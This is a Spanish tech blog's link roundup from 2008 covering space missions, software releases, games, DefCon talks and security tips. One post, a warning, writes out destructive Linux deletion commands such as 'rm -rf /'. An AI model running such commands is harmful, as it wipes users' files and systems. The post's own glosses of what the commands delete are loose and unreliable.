      http://history.nasa.gov/apollo.html

      http://images.jsc.nasa.gov/

      http://apollomaniacs.web.infoseek.co.jp/apollo/aps_docs01e.htm

      http://workingonthemoon.com/

      Datos técnicos en PDF:

      http://www.cs.indiana.edu/sudoc/image_30000061709352/30000061709352/pdf/techdata.htm

      Autómatas celulares (Microsiervos)

      

      (Imágen: Andrew Wuensche)

      Directo desde Microsiervos:

      http://www.microsiervos.com/archivo/juegos-y-diversion/automatas-celulares-blue-cell.html

      Ya sabés que nos encantan los juegos con autómatas, desde las Corewars hasta el juego de la Vida de Conway, por eso nos ha gustado esta interesante entrada sobre este tema.

      http://golly.sourceforge.net/

      Navegador Open Source de Google

      

      Se llamará Google Chrome, y ya lo ha anunciado Google en su

      http://googleblog.blogspot.com/2008/09/fresh-take-on-browser.html

      (Hay incluso un comic sobre su desarrollo, aquí)

      Es un navegador web lleva una barra principal para todo, creado con V8, un motor Javascript multiproceso.

      La verdad es que se veía venir esta maniobra de Google…

      Más información:

      http://kara.allthingsd.com/20080901/google-ignites-a-new-browser-war-with-microsoft-by-unveiling-one-of-its-own/

      http://blogoscoped.com/archive/2008-09-01-n47.html

      Visto en:

      http://gizmodo.com/5044032/chrome-googles-open-source-browser

      Trailer de Watchmen, por fin

      Watchmen

      En diferentes formatos incluyendo HD:

      http://www.apple.com/trailers/wb/watchmen/

      Nuevas noticias sobre nuestros amigos Spirit y …

      

      Visto en nuestra querida y admirada Microsiervos:

      http://www.microsiervos.com/archivo/ciencia/opportunity-fuera-crater-victoria.html

      Os aconsejo leer el artículo, sabrás cómo están actualmente los dos exploradores, al parecer han vuelto a sobrevivir otro año más al invierno marciano y ya están recargando pilas (nunca mejor dicho) para nuevas misiones.

      Controlar el ordenador con los mandos de la Wii …

      

      Ya hemos hablado antes sobre usar los Wiimote con el ordenador, pero ahora hay una aplicación  que puede ampliar bastante las capacidades del uso de estos mandos en entornos Windows (MAC y Linux también), dicho software es GlobePIE.

      Sólo necesitas un receptor BlueTooth y en función de software que uses, configurar el Wiimote cuando lo detecte. Un buen software para esta operación es BlueSoleil, que es Shareware pero la versión de prueba funciona con 2Mb de velocidad. Si usas Windows Vista en el artículo original te explica perfectamente el proceso para instalarlo con el mismo software de Vista. Luego ya sólo tienes que instalar la última versión de GlobePIE y configurarlo, todo está aplicado en:

      GCC 4.3.2 publicado

      

      Visto en:

      http://www.fsdaily.com/HighEnd/GCC_4_3_2_Released

      Me encanta el lenguaje C y utilizo este compilador de C para Linux desde hace mucho tiempo, creo que es el mejor compilador de C que he usado nunca, entre otras cosas por la variedad de arquitecturas y plataformas en la que puedes compilar el código así como la tremenda cantidad de información que hay disponible:

      GNU Compiler Collection

      Visto en:

      El arte ASCII ha vuelto, esta vez en forma de SPAM

      

      Todos conocemos (sobre todo si eres tan viejo como yo en esto de la Informática) el arte del ASCII:

      http://es.wikipedia.org/wiki/Arte_ASCII

      Pues ahora cómo la imaginación de los SPAMMERS no tiene límites, en vez de mostrarte el texto de la publicidad, forman las palabras con la misma técnica del arte ASCII, tal y como puedes ver en la cabecera de esta entrada. Esto está volviendo loco a los filtros antispam ya que esta técnica de SPAM es bastante efectiva, ya que la mayoría de los filtros buscan cadenas de caracteres ASCII pero un dibujo o texto realizado con esta técnica es difícil de detectar.

      "Machinarium" aventura gráfica muy original

      Machinarium Preview from Amanita Design on Vimeo.

      http://kotaku.com/tag/machinarium/

      http://machinarium.com/

      Comandos Linux peligrosos, bombas fork y otros

      

      Excelente artículo donde nos muestran los comandos Linux más peligrosos que debes de usar con mucha precaución:

      http://www.arsgeek.com/2008/08/28/things-you-should-never-ever-type-in-linux-ever/

      Un ejemplo:

      rm -rf /  - Borra todos los ficheros de un directorio, TODOS.

      rm -rf . - Borra todo el directorio

      rm -rf * - Borra todos los ficheros visibles (no ocultos) de un directorio

      rm -rf .* - Borra todos los ficheros ocultos que empiezan con un ‘.’

      Ordenador PC cubo de 6 cm

      

      Lleva un procesador NEC de 300 MHz VR5701, 64 Mb de RAM, 1 Gb tipo flash, una versión especial de Red Hat Linux, un USB, salida VGA, puerto Ethernet y lo más curioso un puerto SpaceWire como el usado por la NASA y la ESA (al parecer puede que ese sea precisamente el mercado para el que ha sido creado). En principio cuesta 325$ pero empieza a verse ya por 2.700$ …

      Virus informático detectado en la Estación …

      

      Concretamente el virus/gusano Gammima.AG que básicamente se dedica a capturar datos sobre MMOPRG.

      La IIS no está conectada todo el tiempo a la red, pero si conectan de vez en cuando vía Ku-Band para enviar emails.

      El problema no es el virus, sino cómo ha llegado … y que otros virus más dañinos puedan llegar a afectar al funcionamiento de la ISS.

      Otros enlaces para saber más:

      http://blog.wired.com/27bstroke6/2008/08/virus-infects-s.html

      Cuanto caminó Neil Armstrong por la Luna

      

      Mapa que superpone todo el paseo de los tripulantes del Apolo XI sobre un campo de fútbol.

      Genial (y sobre todo curioso) para hacernos una estimación real de lo que andaron Neil Armstrong y Buzz Aldrin.

      Mapa en:

      http://strangemaps.files.wordpress.com/2008/03/a11vsfootball.gif

      http://strangemaps.wordpress.com/2008/03/24/260-youll-never-moonwalk-alone/

      Visto en:

      http://www.neatorama.com/2008/08/27/map-of-moon-exploration-how-far-did-armstrong-and-aldrin-roam/

      Ruckingenur II, el videojuego sobre ingeniería …

      

      Visto en:

      http://www.hackaday.com/2008/08/25/ruckingenur-ii-reverse-engineering-video-game/

      Puedes descargarlo desde:

      http://zachtronics.emala.net/pivot/entry.php?id=40

      Yo he jugado un par de partidas y es muy divertido pero bastante difícil. Si te quedas un poco atascado tienes ayuda para poder ir avanzando. Juego completo con varios niveles y secuencia de video entre ellos. En todos se aplican casos divertidos como desactivar una bomba, pero debes de tener ciertos conocimientos de electrónica y “algo” de ingeniería inversa también.

      Corriendo por World of Warcraft usando bicicletas …

      Pues nada, estos tipos han creado ese periférico que convierte los pasos del mundo real en el mundo virtual del World of Warcraft…

      Todas las conclusiones y datos del periférico en:

      http://www.manapotions.com/raceazeroth.html

      Billy Mitchell, el mejor jugador arcade de todos …

      

      Ya hablamos algo sobre Billy Mitchell en:

      http://www.cyberhades.com/?p=39

      Ahora vamos a saber más sobre la persona que tiene la partida perfecta de Pac-Man y Donkey Kong, en este enlace puedes descargarte en PDF (inglés) una fenomenal entrevista a este crack:

      http://laweekly.blogs.com/joshuah_bearman/files/harpers_billy_mitchell.pdf

      Visto en:

      http://www.boingboing.net/2008/08/26/five-years-with-the.html

      Un pequeño documental sobre su record en el Pac-Man:

      Sus records:

      Aplicaciones gratuitas para Windows Mobile

      

      De nuevo LifeHacker nos recomienda esta lista de programas para nuestro Windows Mobile:

      http://lifehacker.com/5041023/the-best-free-apps-for-your-windows-mobile-device

      Colección de aplicaciones gratuitas para copias de seguridad, multimedia, juegos, etc …

      45 fotos (espectaculares) con efecto "motion blur"

      Algunas de ejemplo (motion blur):

      

      

      

      Todas las fotos en:

      http://www.smashingmagazine.com/2008/08/24/45-beautiful-motion-blur-photos/

      Visto originalmente en:

      http://www.neatorama.com/2008/08/25/45-beautiful-motion-blur-photos/

      Cómo hacer que la Wii ejecute aplicaciones propias …

      

      Espectacular, visto en:

      http://lifehacker.com/400581/hack-your-wii-for-homebrew-apps-and-dvd-playback

      Lo que necesitas:

      • Una Wii

      • El juego original de Zelda Twilight Princess

      * El Wii Brew SD Installer, para Windows

      • Un PC con un lector de tarjetas SD

      Este hack usa un exploit del juego Zelda, ya conocido.

      El reproductor de DVD en acción:

      Campaña del nuevo Samsung OMNIA

      El chaval recibe un paquete con su producto, comienza a quitarle en envoltorio y abrir el paquete, ¿que puede haber de nuevo en un anuncio que no hayamos visto ya?

      Realmente original ;)

      Mapa de los Simpsons para Quake III Arena

      Descarga el mapa desde:

      http://www.myspace.com/pandorasball1313

      Visto en:

      http://www.boingboing.net/2008/06/23/simpsons-map-for-qua.html

      DivXLand Media Subtitler, aplicación para insertar …

      

      LLevaba tiempo buscando una aplicación sencilla y rápida para insertar los subtítulos en las películas Divx, sobre todo porque la PS3 no puede reproducir los subtítulos separados de la película.

      He probado esta y es fenomenal:

      http://lifehacker.com/5040204/divxland-media-subtitler-embeds-subtitles-into-movie-files

      Soporta hasta 30 formatos de subtítulos y hasta 15 formatos diferentes de películas como MPEG, Divx, Xvid, etc …

      Descarga del programa en:

      http://www.divxland.org/subtitler.php

      Invasión Imperial en San Francisco

      Montaje espectacular:

      Impresiona la silueta de la Estrella de la Muerte en el horizonte.

      Visto en:

      http://www.neatorama.com/2008/08/21/death-star-over-san-francisco/

      Intro definitiva de Wrath of the Lich King (World …

      Aquí puedes verla y también descargar en alta resolución.

      http://www.wow-europe.com/wrath/intro.xml

      Nueva fecha de publicación (rumor): 30 de Noviembre

      eyeOS, el Sistema Operativo Web

      

      Página oficial del proyecto:

      http://eyeos.org

      Magnífica implementación de un S.O. desde el navegador Web. Todo estará disponible desde el navegador, aplicaciones, multimedia, etc … y desde cualquier lugar que te conectes. Otras de las ventajas es la posibildad de crear proyectos, documentación, etc … conjuntos con otros usuarios. Puedes registrarte y usar uno de los servidores que eyeOs tiene , y esto es lo mejor, o también puedes crearte uno propio.

      Material de la DefCon16 y de BlackHat 2008

      

      Suministrado por Yoire:

      http://www.yoire.com/1359-bh-2008-stuff-amp-defcon-16

      http://www.yoire.com/downloads/

      Fantástico, mil gracias a Mandingo por poner al alcance de todos este material.

      Por otro lado, desde este enlace puedes descargarte una ISO con más material de la DefCon16:

      http://www.teckh.com/?p=372

      Descarga directa de la ISO

      PD: No os olvidéis de echar un vistazo a otras descargas de Yoire, son muy interesantes.

      Fotografías recursivas en paralelo

       

      

       

      

      Realmente no sabes porqué no dejas de mirarlas una y otra vez … ;)

      Visto en:

      http://mezvan.blogsome.com/2008/08/07/fotografia-recursiva-en-paralelo/

      Cómo reciclar tus libros

      (foto de: http://cajondeimagenes.blogspot.com/2008/04/libros-viejos.html)

      Precisamente el otro día estaba abriendo algunas cajas que aún tengo desde que me mudé a mi nueva casa hace más de un año, y me dí cuanta que tengo libros que he leido y no creo que los vuelva a leer. Además de bastantes libros de informática que, por un lado ya tengo trillados o por otro lado están algo desfasados. Cómo jamás me plantearé tirar a la basura o a reciclar un libro, he visto en Alt1040 algunas opciones alternativas:

      Lanzado el SDK 0.9 de Android

      

      Google Android

      http://tecmoviles.com/lanzada-la-versin-sdk-09-de-android/

      Puedes descargarlo desde:

      http://code.google.com/android/adc.html

      A finales de año se espera la versión SDK 1.0 de Android, que al parecer será muy similar a esta 0.9, así que ya sabes, si quieres ser de los primeros en desarrollar una aplicación para Adroid, manos a la obra.

      El arte de las telas de araña

      

      Visto en:

      http://www.neatorama.com/2008/08/20/the-art-of-spider-webs/

      Impresionante.

      Enlace directo a las fotos:

      http://www.darkroastedblend.com/2008/08/spider-webs-glamour-architecture.html

      Usa siempre SSL cuando conectes a Gmail

      

      Es un consejo, hay incluso herramientas para obtener IDs de sesiones no encriptadas y acceder a las cuentas de Gmail, sobre todo si usas equipos diferentes al tuyo.

      Cuando accedes a Gmail te envían una cookie que tiene un ID de sesión para el navegador. Este fichero sirve para mantenerte conectado, a no ser que manualmente hagas “desconectar” desde Gmail, entoces se borra la cookie. El problema es que también tu navegador envía una cookie similar a la que has recibido, al sitio web de Gmail, con lo que si no cifras la conexión es posible esnifarla y obtener tu ID de conexión. Si el atacante consigue este fichero con la ID podrá acceder a tu cuenta sin necesidad de logarse.

      El mapa interactivo de Springfield

      

      Visto en:

      http://www.neatorama.com/2008/08/19/map-of-springfield-2/

      Y el mapa en:

      http://adn.blam.be/springfield/

      101 Anuncios clásicos de ordenadores y videojuegos

      Impresionante colección retro de anuncios clásicos del mundo de los ordenadores, videoconsolas, juegos, etc ...

      http://gadgets.boingboing.net/2008/08/08/101-classic-computer.html

      Un par de ellos para abrir boca:

      

      

      No te los pierdas, no tienen desperdicio, ya haremos nuestro top 5 carteles retro …

      Visto originalmente en:

      http://www.neatorama.com/2008/08/18/the-best-worst-and-weirdest-computer-ads-of-yore/

      La fórmula de la Coca-Cola y de la OpenCola

      

      Pues es esta (directo desde "El Blog de Loretahur"):

      *Concentrado de azúcar quemado -caramelo– para dar color oscuro y gusto

      *Ácido fosfórico (sabor ácido)

      * Azúcar (HFCS-jarabe de maíz de alta fructosa)

      * Extracto de hojas de la planta de Coca (África e India) y otros pocos aromatizantes naturales de otras plantas

      * Cafeína

      * Conservante que puede ser Benzoato de Sodio o Benzoato de Potasio

      Primera imágen del microscopio de la Phoenix

      Los gadgets que lleva la Phoenix no dejan de sorprendernos, alta tecnología en Marte. Primera imágen del microscopio de fuerza atómica (tamaño de la muestra, una millonésima de metro):

      

      Visto en:

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11218&Itemid=42

      http://www.nasa.gov/mission_pages/phoenix/images/press/First_AFM_on_MARS.html

      Este microscopio es capaz de ver hasta partículas de 100 nanómetros, sólo estaba practicando, ahora viene el trabajo duro que nos dará seguro alguna sorpresa …

      Desde CyberHades apostamos a que la Phoenix tiene que dar la noticia más importante de toda la historia de la Humanidad …

      Circle Dock, una forma original de organizar tu …

      

      Windows

      http://lifehacker.com/400526/circledock-surrounds-your-mouse-with-files-folders-and-shortcuts

      Puedes descargar la aplicación desde:

      http://circledock.wikidot.com/

      Esta aplicación de escritorio organiza tus iconos en una espiral en el centro de la pantalla que puedes mover con la rueda del ratón … al menos curiosa aplicación para echarle un vistazo.

      El daño del periodismo no especializado (en este …

      

      Muchos profesionales de diferentes campos como la Informática, y sobre todo la Medicina están un poco hartos del maltrato a la hora de informar por parte de algunos medios de comunicación y periodistas, ya que en la mayoría de los casos se hace con total ignorancia del tema y sin ninguna base.

      Un caso bastante claro lo tenemos en el caso Neira, donde un médico de familia que tiene un blog, se queja de la desinformación de los medios de comunicación que ya casi están linchando a los médicos por negligencia cuando ni siquiera saben de lo que están hablando (si lees el artículo verás que las fuentes que informan son “de las grandes”).

      id Software prepara un nuevo Wolfenstein

      

      Creo que todos hemos pasado horas y horas luchando contra los nazis en el fabuloso:

      Wolfenstein

      Pues ahora hemos visto que id Software ya está casi terminando una nueva versión, aquí tienes un enlace donde puedes leer algunas de sus nuevas características:

      http://www.computerandvideogames.com/article.php?id=195374

      Y en español:

      http://www.meristation.com/v3/des_noticia.php?id=cw4343ece357277&pic=360

      Resumiendo, se pretende dejar la historia igual que las anteriores, experimentos nazis, zombies, tecnología, etc …

      La presentación de Chema Alonso en la DefCon

      Era sobre:

      Time-Based Blind SQL Injection using Heavy Queries

      Aquí puedes ver las diapositivas:

      Time-Based Blind SQL Injection using Heavy Queries
      View SlideShare presentation or Upload your own. (tags: parada josé)
      No dudes en ir a su blog si quieres saber más sobre este tema:

      http://elladodelmal.blogspot.com/2008/08/marathon-tool.html

      Impresora 3D open source, Reprap 1.0 "Darwin"

      

      Si si, haztela tu mismo :)

      La web oficial es http://reprap.org/bin/view/Main/WebHome

      podeis ver algunas cosas que es capaz de hacer, algunos videos del su funcionamiento, las guias de montaje y lista de materiales.

      El software de control esta basado en java y funciona en windows, linux y macos.

      Eso si, llevo una tarde estudiando la lista de materiales y aun tengo muchas dudas sobre donde puedo comprar ciertos materiales.

      Top 10 videos de "How to" de Lifehacker

      Espectaculares todos, os pongo sólo uno tenéis que verlos todos:

      • Cómo conseguir 8 pilas de botón más barato, a partir de una pila tipo A23

      12 Volt Battery Hack! You’ll Be Surprised… - More free videos are here  

      Los demás están en:

      http://lifehacker.com/400292/top-10-how-to-videos

      Totally Free Burner, para grabar todo tipo de …

      

      Por fin una buena aplicación para grabar audio, video, datos, ISO, DVD y CD’s. No había visto una tan buena gratuita, todas las demás suelen ser shareware o similar y las gratuitas no llegan a hacer esto:

      Audio CD desde mp3, wma, ogg y wav files

      VideoCD desde Mpeg1 VCD files

      Datos CD/DVD ISO9960 y Joliet (Multisesión)

      Datos CD/DVD UDF

      Video DVD desde ficheros DVD

      CD/DVD desde imágenes BIN/ISO

      Puedes descargarla de:

      http://www.dandans.com/TotallyFreeBurner.htm

      Crónicas de la DefCon, Chema Alonso nos informa …

      

      Última crónica de la DefCon de este año en Las Vegas de Chema Alonso:

      http://elladodelmal.blogspot.com/2008/08/defcon16-iii-de-iii.html

      Esta vez nos habla del grupo español de hackers (que no conocía) Panda with Gambas y también nos deja un enlace a las dapositivas mostradas en la DefCon:

      http://164.106.251.250/docs/dc2008/

      Gracias por todo Chema.

      La pantalla azul de la muerte en los Juegos …

      

      http://www.smh.com.au/news/off-the-field/bills-blue-screen-of-death-malfunction/2008/08/12/1218306871673.html

      Visto en:

      http://alt1040.com/2008/08/la-pantalla-azul-de-windows-en-la-ceremonia-de-inauguracion-de-beijing-2008/

      Un poco inoportuno el fallo ¿no?

      Redes Nº10, la fusión del alma y la tecnología

      Molotok nos recomienda este capítulo del siempre fantástico programa de entrevistas y divulgación científica, Redes.

      Enlace del video sacado desde:

      http://www.uberbin.net/archivos/rants/redes-y-raimond-kurzweil.php

      Paredes de placas base

      

      Puedes ver más ejemplos en:

      http://www.chrisharrison.net/projects/motherboardslab/index.html

      Originalmente visto en:

      http://www.neatorama.com/2008/08/12/motherboard-walls/

      La sonda Cassini lo confirma, Titán tiene lagos …

      

      Y Titán por lo tanto es el único objeto del Sistema Solar (junto con la Tierra claro) que tiene líquidos en su superficie.

      Estos lagos están formados de hidrocarburos líquidos y etano.

      Artículos excelentes en:

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11200&Itemid=42

      http://www.sciencedaily.com/releases/2006/07/060728103452.htm

      http://www.universetoday.com/2008/07/30/liquid-lake-on-titan-confirmed/

      Un nuevo problema de seguridad para Windows Vista

      

      Y muy gordo por lo visto, ha sido revelado en la BlackHat de las Vegas por investigadores de  IBM y VMWare. Según comentan pueden obtener el control total de un Windows Vista de una manera que es muy difícil de solucionar por parte de Microsoft, ya que el ataque se basa en la forma que Windows carga las DLL de la plataforma .NET, ya que las asume como totalmente seguras. Al ser un problema de diseño y no de programación (un bug) el parche costará más tiempo en salir y será mucho más grande de lo habitual.

      Crónicas de la DefCon, Chema Alonso nos informa II …

      

      Madre mía este Chema cómo se lo pasa, no te pierdas el artículo:

      http://elladodelmal.blogspot.com/2008/08/defcon16-ii-de-iii.html

      Impresion 3D (barato) con Shapeways

      Mi punto debil para cualquier proyecto siempre ha sido la mecanica y he chapuceado con la silicona, tornillos, cinta adhesiva, etc… pero el chapucear se va a acabar :)

      Si necesitas unas piezas para construir tu proyecto, o repararar algo totalmente obsoleto o simplemente quieres construir algo decorativo, echa un vistazo en www.shapeways.com

      He estado comparando con algo de la competencia, como thinglab y el precio es realmente competitivo, tal como subes el modelo, te tarifican al momento, incluyendo los gastos de envio, y segun el material (por el momento disponen de 4 diferentes), varia entre $1.85 y $2.7 por cm cubico de resina, variando tambien la resolucion y caracteristicas mecanicas, echad un ojo a las tarifas y materiales.

      Promos de la nueva temporada de Heroes y Prison …

      Bueno, tengo curiosidad por ver sobre todo Prison Break …

      Visto en:

      http://blogs.elpais.com/espoiler/

      El MIT y las 6D

      

      Nada de imágenes en 3D, ahora en 6D:

      MuyComputer imágenes en 6D del MIT

      http://web.media.mit.edu/

      Os recomiendo leer el artículo, es muy interesante.

      Visto en:

      http://barrapunto.com/articles/08/08/11/1415249.shtml

      PocketPutty, cliente SSH gratuito para Windows …

      

      Si tienes un teléfono o una PDA con Windows Mobile, con esta aplicación podrás conectar con ordenadores o servidores con Windows instalando OpenSSH para Windows a través de una conexión cifrada SSH. Esta conexión abre una ventana de línea de comandos donde podrás controlar tus equipos remotos.

      También lo puedes usar para conectar con ordenadores o servidores Linux sin problemas.

      Excelente aplicación gratuita.

      Visto en:

      http://4sysops.com/archives/free-pocketputty-ssh-client-for-windows-mobile/

      Crónicas de la DefCon, Chema Alonso nos informa

      

      Vamos a seguir lo que vaya publicando Chema sobre la DefCon:

      http://elladodelmal.blogspot.com/2008/08/defcon16-i-de-iii.html

      Un poco de envidia te tenemos Chema ;)

      http://www.defcon.org/

      Star Wars clásica vs Star Wars moderna

      Todos sabéis que odio a muerte los episodios I, II y III de la Guerra de la Galaxias. Pero es que también odio la horrible y mal hecha manipulación que hicieron en las nuevas versiones de los episodios IV, V y VI. Puedes verlo en este video donde se comparan las imágenes ¿era realmente necesario retocarlas?

      Y bueno, se lleva la palma la hoooooorrible escenita de Jabba hablando con Han Solo, primero puedes ver la original que se eliminó y no aparece en la versión clásica, luego la chapuza con Jabba:

      Filmación de rayos en cámara lenta

      Actualización: he visto en

      http://cgredan.blogspot.com/2008/08/rayos-cmara-superlenta.html

      Este mismo video y también algunos más igual de espectaculares.

      El Kernel del Windows Vista

      

      Desde una de nuestros blogs favoritos escritordecodigo, hemos visto unos documentos muy técnicos y completos del funcionamiento interno del Kernel de Vista:

      http://escritordecodigo.blogspot.com/2008/08/dentro-del-kernel-de-windows-vista.html

      Aquí tienes los enlaces a los tres documentos:

      Vista Kernel 1 de 3

      Vista Kernel 2 de 3

      Vista Kernel 3 de 3

      Documento Windows Vista Performance and Tuning

      

      Puedes descargarlo desde:

      http://www.microsoft.com/downloads/details.aspx?familyid=ab377598-a637-432c-a3c8-1607ab629201&displaylang=en

      Documento donde Microsoft nos ayuda a mejorar el rendimiento y la optimización del Windows Vista.

      Más imágenes de WOTLK, un video de exploración

      Los afortunados que están jugando a la Beta del WOTLK han hecho este fantástico video para mostrarnos las nuevas ubicaciones y enemigos de esta expansión del World of Warcraft.

      OJO, CONTIENE ESPOILERS E IMÁGENES INÉDITAS, SI PREFIERES ESPERAR A TENERLA NO LO VEAS (pero sé que no podrás evitar echar un vistazo … )

      
      muffins_wotlk.wmv

       

      Aparecen las siguentes ubicaciones:

      Howling Fjord, Borelean Tundra, The Nexus (mazmorra), Utgarde Keep (mazmorra), Crystalsong Forest, Dragonblight, Stone Halls (mazmorra), Drak’tharon Keep (mazmorra), Zul’Drak, Dalaran, Sholazar Basin, y Grizzly Hills.

      Increible, compran gadget de iPhone "I am rich" …

      

      Voy a resumir la noticia, merece la pena porque vas a flipar.

      Ocho afortunados usuarios de iPhone han pasado a la élite, tienen una aplicación que no sirve para nada (bueno sí, muestra un iconito rojo en tu iPhone) que cuesta 1000$.

      Exactamente lo que hace, de vez en cuando lanza un mensaje diciendo que eres rico, que según el autor transmite Karma (jujujuuuuju) y luego … YA ESTÁ NADA MÁS, FINITO, END, NOTHING … eso es todo, menos mal que es barato, sólo 1000$, bueno 999$.

      Galletas de azúcar Pac-Man

       

      

      http://www.neatorama.com/2008/08/08/pacman-sugar-cookies/

      Así quiero mi próxima tarta de cumpleaños … ;)

      Temas gratuitos para Windows Vista

      

      El uso de la interfaz AERO hace que estos temas sean realmente bonitos y espectaculares.

      Visto en:

      http://www.nirmaltv.com/2008/08/07/download-windows-vista-themes/

      Desde:

      http://lifehacker.com/400059/free-windows-vista-themes

      Habilitar o deshabilitar el UAC de Windows Vista …

      

      Muy útil sobre todo si quieres trabajar sin que el molesto mensaje de la UAC te aparezca en cada operación que hagas con Windows Vista y evitar tener que ir a deshabilitarlo. Simplemente ejecutas el BAT cuando vayas a trabajar cómo administrador y luego lo habilitas de nuevo.

      Lo que nos ha gustado más que el hecho de deshabilitar el UAC, ha sido la forma de escribir directamente en el registro desde la línea de comandos y los parámetros usados …

      Marte sigue ocultando sus misterios

       

      Al final no fue tanto cómo se llegó a especular , el suelo de Marte sigue siendo intrigante pero en la rueda de prensa sólo se ha hablado de las sales de perclorato encontradas (SondasEspaciales):

      http://www.sondasespaciales.com/index.php?option=com_content&task=view&id=11203&Itemid=42

      “El haber encontrado perclorato no es ni bueno ni malo para la vida, solo cambia la ecuación, hace que nos replanteemos la manera en que debemos pensar sobre la vida en Marte” (Michael Hecht, JPL).

      Áticos de gente rica en Nueva York

      Madre mía qué refugios:

      http://www.flickr.com/photos/jwillys/sets/72157606566769262/detail/

      Unos ejemplos:

      

      

      

      Me gustaría ver algunos de aquí en España, por ejemplo de Valencia, Barcelona, Madrid, Sevilla …

      Visto en:

      http://www.neatorama.com/2008/08/07/rooftop-refuges/

      Microsoft WebCast y Eventos

      

      Un buen recurso, donde puedes ver fantásticas presentaciones o webcast, tanto en directo cómo en diferido sobre diversos temas relacionados con el mundo Microsoft, así como otros eventos de otras temáticas:

      http://msevents.microsoft.com/CUI/default.aspx?culture=es-ES

      Aunque lo realmente interesante son los webcasts almacenados que puedes descargarte.

      Sólo tienes que registrarte o tener una cuenta MSN o Windows Live.

      Atacar WPA/WPA2 PSK, de Chema Alonso, parte 4 de 4 …

      

      Última entrega de este fantástico artículo de seguridad en redes WiFi:

      http://elladodelmal.blogspot.com/2008/08/atacar-wpawpa2-psk-parte-iv-de-iv.html

      Chema que lo pases bien en Las Vegas, ya nos contarás.

      Neuromante al cine ... acojonados estamos

      

      He leido en varios medios la filmación de una versión del fantástico libro de Willian Gibson, Neuromante.

      Parece que está de moda ahora cargarse mitos a diestro y siniestro, y “Case” el hacker de Neuromante es uno de mis personajes favoritos de la Ciencia Ficción, y por favor preferiría que no lo tocaran.

      Neuromante es la historia de un hacker (Case) en el futuro rodeado de Intenligencias Artificiales, una fantástica red Internet, drogas de diseño, mafias, … etc todo en un Tokio futurista.

      Evitar atascos en Rusia

      via videosift.com

      visto en:

      http://www.neatorama.com/

      Fijaros en la extraña armonía de movientos mortales en los que no pasa nada ni nadie se queja …

      La UOC libera la documentación de su Master en …

      

      Bienvenido sea todo ese material, puedes descargarlo desde:

      http://ocw.uoc.edu/informatica-tecnologia-y-multimedia/view?set_language=es

      Visto en:

      http://softlibre.barrapunto.com/softlibre/08/08/05/2032227.shtml

      Un par de videos que hicimos en el FIB 2008, Sigur …

      Para que veáis lo bien que lo pasamos viendo a Sigur Rós en el FIB de este año:

      Atacar WPA/WPA2 PSK, de Chema Alonso, parte 3 de 4

      

      http://elladodelmal.blogspot.com/2008/08/atacar-wpawpa2-psk-parte-iii-de-iv.html

      Cascadas gráficas

      Visto en el magnífico blog:

      http://cgredan.blogspot.com/2008/08/cascadas-grficas.html

      Si quieres saber más no dudes en leer el artículo sobre estas cascadas gráficas.

      Tiritas de comics

      

      http://www.neatorama.com/2008/08/04/comic-book-bandaids/

      Convertir Texto a MP3

      

      Windows, Linux, Mac.

      Hace tiempo que hay algunas aplicaciones comerciales que lo hacen, ahora encontramos en LifeHacker una que lo hace gratuito y además Español e Inglés:

      http://lifehacker.com/399831/hearwho-converts-text-to-mp3

      Es online, no es una aplicación  que se instale en tu ordenador, simplemente entra en:

      http://www.hearwho.com/

      Y copia el texto, luego te genera un MP3, selecciona el idioma y el genéro de la voz, masculino o femenino.

      Fotos Campus Party 2008

      

      Puedes verlas en nuestro espacio en Flickr, he puesto un acceso en la barra de la derecha de CyberHades.

      Espero que os guste.

      Otro acceso lo tenéis aquí:

      http://www.flickr.com/photos/25379671@N02/sets/72157606553809403/

      Actualización: un video que hicimos de un simulador que más de uno quisiera tener en casa:

      Cojín geek

      

      Más que un cojín es un pequeño sillón para tumbarte. Creo que es una de las mejores soluciones para aquellos que pasamos más de 7 horas diarias con el ordenador:

      http://forevergeek.com/general/lazy_geek_cushion.php

      Cuesta unos 86$ en esta página.

      Más datos sobre Windows 7 y el experimento Mojave

      

      Artículo visto en:

      MuyComputer y Todo sobre el Windows 7

      pero que he llegado a él a través de:

      http://barrapunto.com/articles/08/08/04/0838205.shtml

      No tengo nada que añadir ya que el artículo es genial y además está en castellano.

      Te recomiendo que lo leas.

      De todas formas, aunque más de uno me dejará de hablar ;) yo pienso que el Windows Vista no es tan mal producto cómo se ha dicho por todas partes (tengo experiencia con él cómo para decir esto), y eso que me encanta Linux y también lo uso y usado durante años. Otra cosa es el precio y el tema de las licencias.

      Guía de la Virtualización

      

      Buena guía y muy completa (al menos esta primera entrega) sobre la virtualización desde todos los aspectos y sistemas.

      http://arstechnica.com/guides/other/virtualization-guide-1.ars

      Si te registrar puedes descargarte un PDF.

      Está en inglés, iremos viendo la publicación de las diferentes partes.

      Mesas redondas del Worldwide Invitational de …

      

      Si te gusta el universo de Blizzard (Diablo, Starcraft, World of Wacraft …) y quieres ir más allá de cómo subir tus personajes ó como conseguir nuevos objetos, echa un vistazo a estos videos donde se habla aspectos técnicos del desarrollo de algunas de las estrellas de Blizzard.

      Mira lo que puedes ver (tienes el enlace directo de descarga):

      StarCraft II - Diseño en evolución

      Diablo III - Universo y representación artística del entorno

      Atacar WPA/WPA2 PSK, de Chema Alonso, parte 2 de 4

      

      Vamos a por la segunda entrega de este magnífico tutorial de seguridad sobre redes WPA/WPA2 PSK de Chema Alonso y Alejandro Martín.

      http://elladodelmal.blogspot.com/2008/08/atacar-wpawpa2-psk-parte-ii-de-iv.html

      EncryptOnClick, una utilidad sencilla para …

      

      Windows.

      Sencillo, sólo tienes que abrir el programa, seleccionar una carpeta o un fichero y asignarle una contraseña.

      Cuando alguien quiera ver el contenido del fichero o de la carpeta solicitará la contraseña asignada.

      He probado a encriptar una carpeta y luego desinstalar el programa, los ficheros contínuan encriptados.

      Una solución sencilla (pero no demasiado potente) para proteger los ficheros de tu sistema.

      Visto en:

      http://lifehacker.com/5029857/encryptonclick-makes-securing-files-really-simple

      "Presto" una animación de Pixar (justo antes de …

      Podéis verla completa en alta calidad en:

      http://www.gamaniak.com/video-2822-presto-pixar.html

      De todas formas aquí lo tienes desde YouTube en menor calidad:

      Espectacular como todo lo que hacen estos chicos de Pixar.

      La NASA apunto de anunciar que hay vida en Marte …

      (zonas donde ha excavado Phoenix). Foto NASA

      Visto en:

      http://meneame.net/story/dee-ultimo-minuto-posibilidad-vida-marte-anunciarse

      Y la noticia original en:

      http://www.universetoday.com/2008/08/02/the-white-house-is-briefed-phoenix-about-to-announce-potential-for-life-on-mars/

